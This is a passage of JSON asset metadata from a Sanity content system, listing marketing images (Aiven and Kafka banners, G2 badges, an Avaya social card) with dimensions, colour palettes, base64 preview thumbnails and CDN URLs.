TPrpAcKaEMlYgoKwRiRQKnyoQUlZBSpe9UFad/Hat3HTlUJ5J4SSzVxK9s4QhWMbsrCO1T9KYCLscMweA8/ugiLv9dXL238EcX8MceIQfLWNyPEaQ2T7F61vH1vyB6+hWRRPOoteRXsXhW6ZFW0emNk9jFaTzyLE7fPKJ0C7v3BqHBBcJKETlYQpCKdNmLR56ZZRVnYAtPpIEcquHoq2BpK+Uq0dNueMIwhb5rGoNwGYP5GnrxdwzWOQRpAbNrkR7HEib78v/EFuUqokul2/kEk+M4zOR4jCCr/AJBdoBkaqNVNAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346d","foreground":"#fff","population":1.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8c5ca","foreground":"#000","population":11.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7580c4","foreground":"#fff","population":0.89,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#516092","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cb8e2d","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Avaya Rich Social Card 1.png","path":"images/sczeoy4w/production/037ce0c2189d278c34a86d1d31fc0161e0a2398a-1200x628.png","sha1hash":"037ce0c2189d278c34a86d1d31fc0161e0a2398a","size":303832,"uploadId":"0Z38ErnJIcFVQWBrbsvYeDHFYezYxNvf","url":"https://cdn.sanity.io/images/sczeoy4w/production/037ce0c2189d278c34a86d1d31fc0161e0a2398a-1200x628.png"} {"_createdAt":"2023-10-27T10:53:01Z","_id":"image-ef3dd199ff65a083d26aab28f654b31ad703bdca-743x779-png","_rev":"Hl0n8vwXwRlkg63bguTSTB","_type":"sanity.imageAsset","_updatedAt":"2023-10-27T10:53:01Z","assetId":"ef3dd199ff65a083d26aab28f654b31ad703bdca","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"exGJBfxaxujEoyyGWUWBoej[S*odWBbJWER:axoea#ofRoflWBj@WA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9537869062901155,"height":779,"width":743},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#283245","foreground":"#fff","population":1.96,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#061124","foreground":"#fff","population":1.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#78b1f4","foreground":"#000","population":7.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3becf","foreground":"#000","population":6.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#78b1f4","foreground":"#000","population":7.9,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#537ba7","foreground":"#fff","population":1.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c84e4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ef3dd199ff65a083d26aab28f654b31ad703bdca-743x779.png","path":"images/sczeoy4w/production/ef3dd199ff65a083d26aab28f654b31ad703bdca-743x779.png","sha1hash":"ef3dd199ff65a083d26aab28f654b31ad703bdca","size":870067,"uploadId":"ysE3gMSgePh7rBJj3xcSpQvvs0d2UW6s","url":"https://cdn.sanity.io/images/sczeoy4w/production/ef3dd199ff65a083d26aab28f654b31ad703bdca-743x779.png"} {"_createdAt":"2023-09-29T12:09:01Z","_id":"image-5af9dbbc2fa9bead3fda6aff2bd70fe703b80352-1200x628-png","_rev":"kaQ4ZWos4gq6sBfd82dLqB","_type":"sanity.imageAsset","_updatedAt":"2023-09-29T12:09:01Z","assetId":"5af9dbbc2fa9bead3fda6aff2bd70fe703b80352","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDEe[,00qtTKwdvJPX]#Aan401%e-nNMjF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC1ElEQVQokSXOi05TBwCA4fME03Gp1RbQdqIMAZmINyjdRjk9ZaenLbRrQUqLoxTmZSrhtgqssFKKQgYIIpduxrmsyAAFGxEJZN7ALSGabI/zL3Ev8OUTUjUudDk+cj8Lkl98iYJTVzl+upXCMx0UnO7iREkPpaYoJaYYRYZBigw3OVs+iiwN0S5f4Reni01XKX/J2axV5CGoMt0UFLdgFNsprwzxpaUb0dqHxTGIZIthsd/C5h5Hdt5GtI0j2iZQ3LPUe6f5oaGfXwMX2fBZ2VaOsWU++j9YdO4SohzCbO2hQu7FYo+guIZQXMNUVo1gto0g2n7CbB9HctxBcc99ALsbosSbrrNaX83GV4U8MRUg7D/oobjkCmblBnJVGIu9jy+kXs583k2pKYxYOYBJimKoiGEQhzHLYzicU3hr79B2PsqEv5Ulbw0r1SIzkhVBneUh/2QzZaY2JKUXSQlTbOjkaOE1zHKEUOs0P3bFaQzG8fh/pqv9N4bCCcLdS0RD8yzG5tgZGeZp/00igTGEvepqVFketJ940ec2kp3fQsbhJg59ehlfcJKHDzdIrr5g+PY64f4VVh+ssf34Gb/HN5icesPztV3evX7L48W3dPS8Qvgo3c4elYO9aicpBzykaOr4+EA92iMX+br5LtPLb7i/vkvfxBaRnj/4894C/y4tMD86T39sndmV9yy8/IexxDuC3+8gpOyzk6lxoNPVkpXdgPqQnxSND7WumTJlkI5bj4jMbBHoTNIUSDAbW2R56hEDnQm+vb7KwMzfTC7scmN0B0/LJkLaPhv6DAc5R+o4nNuIRn+BVK2ftMxG9HnXMFZGsdbMYZQfUGJO4KxbwRdcw1H7BKf/Gd+FtmkLb+O/vInFnUTYo7KTpnag0rhIz6glVev9MEzVfkN6ZpD9+qvo8gbIORUn71yC42VLFJUnMSrPqfK/oCbwkirfJpIziVFe5j/P/7j9s7zN6gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f2859","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":5.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c5482b","foreground":"#fff","population":7.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b8d7","foreground":"#000","population":1.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de775e","foreground":"#fff","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#70506b","foreground":"#fff","population":6.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5482b","foreground":"#fff","population":7.94,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"G2 55 font.png","path":"images/sczeoy4w/production/5af9dbbc2fa9bead3fda6aff2bd70fe703b80352-1200x628.png","sha1hash":"5af9dbbc2fa9bead3fda6aff2bd70fe703b80352","size":272818,"uploadId":"q4MwBGAl6xyJZGXdOu2y8dYvHOEfYQzr","url":"https://cdn.sanity.io/images/sczeoy4w/production/5af9dbbc2fa9bead3fda6aff2bd70fe703b80352-1200x628.png"} {"_createdAt":"2023-09-29T13:19:30Z","_id":"image-a93e489da26a355eabc7a42f9497c104bbd224f8-2104x1280-png","_rev":"OlHhyDbudqKag6cjyAIBl8","_type":"sanity.imageAsset","_updatedAt":"2023-09-29T13:19:30Z","assetId":"a93e489da26a355eabc7a42f9497c104bbd224f8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VdLW#oAdtLsq$_|mFdItxCaMQREhR-slo28{I:kBn*t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.64375,"height":1280,"width":2104},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADFElEQVQokW2QW08TURDH16ggirXBoPHBD2BioomJFx6ML15i6uXBBz8DLxpDDYgS5VJaoPReoAUDCNZaoki9m2gJQYyIPshFQWi7RVvq2e22S0vbPTvHnLYaTXz4ZybnzPzmP8Os33JGsaH0rIIpOa1gik8omOKTCmbTCUXRluPbmHWnFc8ulu9JVW/VSXVlbPrG9s/p6pIOXFPklWs3R+TakjGpeqNVvl46Ltdti8K1omnm0NGqqsPHrqoPVFxS7z9Uqd53sFK9/y+pVSdbv17e/U66uSOVqtspRK+WzyWqlSHphjKTrC2LInXZrFijjGauKzNyTbHAaFrcgSadm63XDLINzYNso/Yu26RzFXSX7dPpIov68ylsPQLprlMQ7bggJUzHMLYcIatdKjlqOyeJhgo527qXkxt2TTDzCyGYmfWT6Rk/+TofIt+WwmTJHyFLgUguLs/PEfHjCMGTfSBNeyE19xoyU27AH+5AZvYFrM28JNnJARmPWT7ByOUrjBDPYnY5JS8sJWHBvwaLwQwElyVYDmNgv0vgD6Zh8VscAos8sEERgsEkBP0ChAIxYNlVKsL6Y3jlOz+ajgtnmOkvadn7SoT+IYH0ugWgGngggMcbB9dwHPo8cegfSsC9RyLc94rgGk6A2yuC54kInsciuEcSZOjpKh57v+ZDMVAxo++Ssq03Bg0GROoNCKi0Vg6MTh70XRzobBy0dXKk3cERnQ0RjRnlYosdkVY7B1orIgYnh4efJ3zhSFbFjE4UgEZEGk0Imsy0mCOmbp5Q0O/c2M3nYPUGRGgNFR3WYueIuYfHIy9FXzgqqZiJqZTc4xJyH22dHBicPGl35GEaCyLNFpTLWzs40mRChA6mb1orR+gGRidP7L0x7H1VAI5PpmTHQAxoM11B35V3RZvoGRpN+WYqCqOicIMjNxjaOjhiuc1j72+HvrdJ2dzDQ307oo6ArkWd0PgHaPsXSB1TZy12Lncio5PHj14UgG/Gk7Kpm4dbFGhGQAFU/wM2FoDN1vw5GgwIbup/0gH44bOE78eKpPoFpei5aBmcDJUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7d563d","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#702208","foreground":"#fff","population":0.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6770c","foreground":"#fff","population":10.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#848fc1","foreground":"#fff","population":0.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#848cfc","foreground":"#000","population":0.88,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5864ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6770c","foreground":"#fff","population":10.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-tiered-storage-hero.png","path":"images/sczeoy4w/production/a93e489da26a355eabc7a42f9497c104bbd224f8-2104x1280.png","sha1hash":"a93e489da26a355eabc7a42f9497c104bbd224f8","size":31628,"uploadId":"8NOQGxqFMLJLZNQj9ywL7jSwMdxo2K5M","url":"https://cdn.sanity.io/images/sczeoy4w/production/a93e489da26a355eabc7a42f9497c104bbd224f8-2104x1280.png"} {"_createdAt":"2023-09-29T12:21:23Z","_id":"image-9ff58ce5d45f281d2fa524106e67314af998eed2-1200x628-png","_rev":"kaQ4ZWos4gq6sBfd82eAk9","_type":"sanity.imageAsset","_updatedAt":"2023-09-29T12:21:23Z","assetId":"9ff58ce5d45f281d2fa524106e67314af998eed2","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACmklEQVQokSXSa0tTARzH8fMe3H1nZzuXuXs1V1mSaU4tzawsNNLS0JrWpk7zOttali3LhKQLlahkWo8yegURRUYQsSgiqGf1Mr5xjg9+D/5PPvxvgklsxePrJLAjQWRnkkA0hVNLUOLqweTqxexOYpEHsSoj2LUJYpWzJAfXmM8+4/7YQwq5dVrPPEGNXMGmXEZwyKeJVaSIN0zQcPQq8cYcoVgah9qHU0vi8qVxB0ZxByYQfRlqmhZYXv3Az80if95/4tO7r2Sm3xDaPYPDO4Ugec+wtzrN4ZYcx9tmONZWoKo+S1nFOHuqc1TW3aDq0Cx7a25RGs3T0HyPjRdv+fvtG/+KX/j+8TOFmQ2iFXO4AgUEp9LO9t0X2V87Ss2hDPHGLPviU5RXTVF18Dq1TbPUN89RWX8bf1meI3U3eF14zO+Xz/i1vkRxaZG7gwvsKr+JFJxFMDlbsXtOI3k78fi78QQSePx9eAIp1PAQWmQUbdsESjiD5M9Qtz/PSmaB4soSP54vs/noKVd77rCjLI/on0HQj2KX25FKuwxQDiRQQ5dQwwNIvgFsSj8WzwBWeRi7OkYwmqWjfZ65m6ssPnjFdHaNxqY55GAW0XcNwSqdQvF3EoomCMeShGL9hHcOEYwNIwfT2FUdTGLxpLDKQ9i1EZTIGOUHpok3z7Or+i5y5BoO76QRweI8iSa3EQx24d/Wa4wsaheMK9vkSwZmlvowuRKY3Xrdj9mdwiancZZOIvryOLxXjO6Nt7E4TqC6WvCXdqCFzuNQuykRz1Ei9mCStv7Q7L5ogCapzwCtsr6Ky8abbIEZo7YpwwgljpOY7SewiG1YpA5MrrMGaHKdx+zWgZQRHdVjlQexKfroozh9+t5y2LVxA9PB/wSFf3O33EwVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f3b61","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#132471","foreground":"#fff","population":10.98,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#132471","foreground":"#fff","population":10.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0e0e7","foreground":"#000","population":10.26,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d81c1","foreground":"#fff","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f92","foreground":"#fff","population":1.4,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea4c38","foreground":"#fff","population":1.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven Leader G2 2023 Fall.png","path":"images/sczeoy4w/production/9ff58ce5d45f281d2fa524106e67314af998eed2-1200x628.png","sha1hash":"9ff58ce5d45f281d2fa524106e67314af998eed2","size":170251,"uploadId":"H1XnJcIwEQLBuzTH9IlbaDw9zeFh8QhG","url":"https://cdn.sanity.io/images/sczeoy4w/production/9ff58ce5d45f281d2fa524106e67314af998eed2-1200x628.png"} {"_createdAt":"2023-11-03T12:23:58Z","_id":"image-27175902ba48316074d04d07d19318443ce4c8f6-5760x3240-png","_rev":"gpV4rQ1RP6Oi5x5QrPe8KF","_type":"sanity.imageAsset","_updatedAt":"2023-11-03T12:23:58Z","assetId":"27175902ba48316074d04d07d19318443ce4c8f6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBAJEs0_,*-E5Q-@Nr,BBErUM|t2WZs*S3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3240,"width":5760},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAACxLAAAsSwGlPZapAAACwUlEQVQokX2R209aBwDG+QPWVqGAXBQ9HDzqAU64CHjjogJHZaXlWEUqvShQNVWHK1ZBGlts2tiul8Vky9rXJXtYs4ddku6t3dOa9LF/z28hLmmyLH34Xn/5vu+n03dpdAsFRHkVSVlj0HcLOVBFUqo4Br7CJlbpEnboEmpYXXXc4edcLL5hZfM968WXnCxm+XFxjK3kKr7AY3Sm7jyDSplIdIdI7Dbh6C4TySax1D3Gpu4TGDtEcO9hcdawSwcEY99TqPxFtfGRp7df8bY8wd9aPyexLHP+u+jMjgK+yC1SmQOm55pEkw2SmRYZ7ZiZi4+Zmj0mFD3CPXzIUPCIkemXLJXfsV3/yKPaT/xyLcublJdXIZWKsoPO1LOEJ7hBIr1HQq0Tju0ymmgwOdMinn5AXH3E5NwT4uoTIolvGE3+QK74J5XqB6pbf3D/aoPvlhZ4dqlIZXwPXUfXZSy9V+gbXEEYKuOQKvQObCC6txE9XyMpewwFmsjBQwYDLXzjJ6jzryms/Exl5Vt2rte4d7NCvVzlQuohujNGjXbOmS/TYcnTaV3GYLvB+e4yxp4NzL1bp1LaH/bX8QWPmE0/YDZVIT2RIpuYZH5GJaNewz/SQvfFeY12zhjnOWtepMOyjN52HYO9hLFnHZNjC3NfFbNQo8d1hxn/Go2EyvaITMYtogY8pCPDRIIXkJQDdGeNOfQmDYNlAYOtgN5W/BfYbriOqfcT0OHaZdmf59dpF79PWWiOubkaizAfDTM+/OUpUG+6hGDPMdBfRJTLWJ2rGOw3PjX8DzDvu8LrSS+/Tcs043G0WJKp0QQBfx6X0joF9tlzSP3LiHLps8D25Lhnjc2QxmZ4gWyoRDhUwuMvISl3cCpP21JynDNptG13WpfotP7/5LYUm7iPU9pHHtpHlu8iuY8QPQ9xeo8RvC8QvCf8A3OTlc3DwV5dAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d456d","foreground":"#fff","population":1.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":9.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ca5e3c","foreground":"#fff","population":9.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e3e7ef","foreground":"#000","population":2.54,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8396d8","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4a5ca9","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca5e3c","foreground":"#fff","population":9.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of WIP Devrel Video thumbnail template (1290x1080 169) (3).png","path":"images/sczeoy4w/production/27175902ba48316074d04d07d19318443ce4c8f6-5760x3240.png","sha1hash":"27175902ba48316074d04d07d19318443ce4c8f6","size":3500476,"uploadId":"2LsRZElqsJr1iYjzlB9ZLbjf7AcIP1ID","url":"https://cdn.sanity.io/images/sczeoy4w/production/27175902ba48316074d04d07d19318443ce4c8f6-5760x3240.png"} {"_createdAt":"2023-09-26T07:18:16Z","_id":"image-6e0623924a3a14596e5f6092dcc337d0c15a6c35-6000x3375-png","_rev":"OlHhyDbudqKag6cjy67aI2","_type":"sanity.imageAsset","_updatedAt":"2023-09-26T07:18:16Z","assetId":"6e0623924a3a14596e5f6092dcc337d0c15a6c35","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDAJaa0]=XWHEN=9PErpWAOFEz$jNFt7xG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAADEElEQVQokR3O6U+bBQCA8fcPcHOjXD24Wt7WQi+h0JZyFArIUaDH2lJaaLn6cm4FxtEBsso5WKQski3GODVxM+gH48KMmBg0TiWbZsmMJv4zjwkfnq+/PIJMGaSofBBNxSiiUUJTOYlKlCgolSgsm0ZRfguluECRboWSijVKDRlEQ4bOd2e4U+djs6GPZWeEpCOJr/Y2QmFpBEO1hL1pHodrkdrGJWyNaRzN69hdG9hdH2Bv3qbOfQ9X5yFuzzGNbVmC9fPsNXbx0NXCQZOH1YZ+pLokglIdxeGaoyeQoduXob0nQ29wj2Asizd8yHt993F17NPQfoDbc0Rb30PcnQ8Ycc3yuMXJs1YzX7kdHDe3s94QQpCXDWBvTNHl3aDNs4676326/bt4w/fp9O3jbN1CX7WG2rCKaN5AtGxhqcow64xx1mHkVbeG804DJ21Otl03EGTKEGX6BHqLhM40gc48jcE6j6l2CYN1GdG8jFK7iLw8jUp3F+U7WxiMd5lrm+H7WJif40FOoxEeB8dY7U0jXM33c60wwHV5iBxFBJlqiLziEfJLkhSUTlGoTqHU3qGkcgeNOYvG8hGV1gfc8Dxi8+bXHKafs7PwjJWp70iOniJcyfPxVp6fK3kBrhaEuSaPcl2RQKYaI7d4ggL1PMX6TTSWI3TWj9HbPkdv+wxb6xOi0gtSa/8xvfIvwzf/YkC6QHg734+swE+uIkSuKopMNYhMNUxu0Th5JVMoypcpMx6grX50CRnqnlJZ95Qq1xP8Qz8h3X7DaOo1A9IfBBK/IOTkeylT+tCKMdT6MeTqEXKUCXIuDydRiGnU5kN0NZ9SYf8SY/03l1lbTuiN/khi5hXRiQt8Q+d0958haPVDVJviOGyT1NTPYbDeQjTNIppS6CyLGG3b1DR/grPjhIaub2nqeU6L9wc8kTPi078iLbxkePZ3IuPnBOJnCIHIJsHIJqGBHUKxe4RiB4RiHxIezNIfP2Zw/AvGZk+ZmD9navEF00sXpFb/ZH33DXtH/7Cb/ZvM/mtWt16ytPEb/wNnGLqzIknV7QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#714568","foreground":"#fff","population":6.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c6f","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6471d1","foreground":"#fff","population":10.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dde4f0","foreground":"#000","population":3.39,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6471d1","foreground":"#fff","population":10.74,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c8d","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc4c35","foreground":"#fff","population":7.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"learn-apache-kafka-with-python-workshop.png","path":"images/sczeoy4w/production/6e0623924a3a14596e5f6092dcc337d0c15a6c35-6000x3375.png","sha1hash":"6e0623924a3a14596e5f6092dcc337d0c15a6c35","size":919585,"uploadId":"g0fHXR7yjLs9wcwKPNXs5zafzEQeXpIQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e0623924a3a14596e5f6092dcc337d0c15a6c35-6000x3375.png"} {"_createdAt":"2024-09-17T14:50:01Z","_id":"image-40f40f31b6c05653f43c6c966444f654836066e6-1920x1080-png","_rev":"pFPTrVZ0KymJyZ5QjiaJcT","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T14:50:01Z","assetId":"40f40f31b6c05653f43c6c966444f654836066e6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MN8z.Gj[fQj[fQ~qj[fQj[fQ~qj[fQj[fQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAPElEQVQokWP4//8/Awj/+/cPTCNjdDEYH5v4P6gYTkOwWUCMPAM2QUowAyEFyN7BFwz/YQaOglHAQDIAAOu97ufLEcaGAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4b4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image 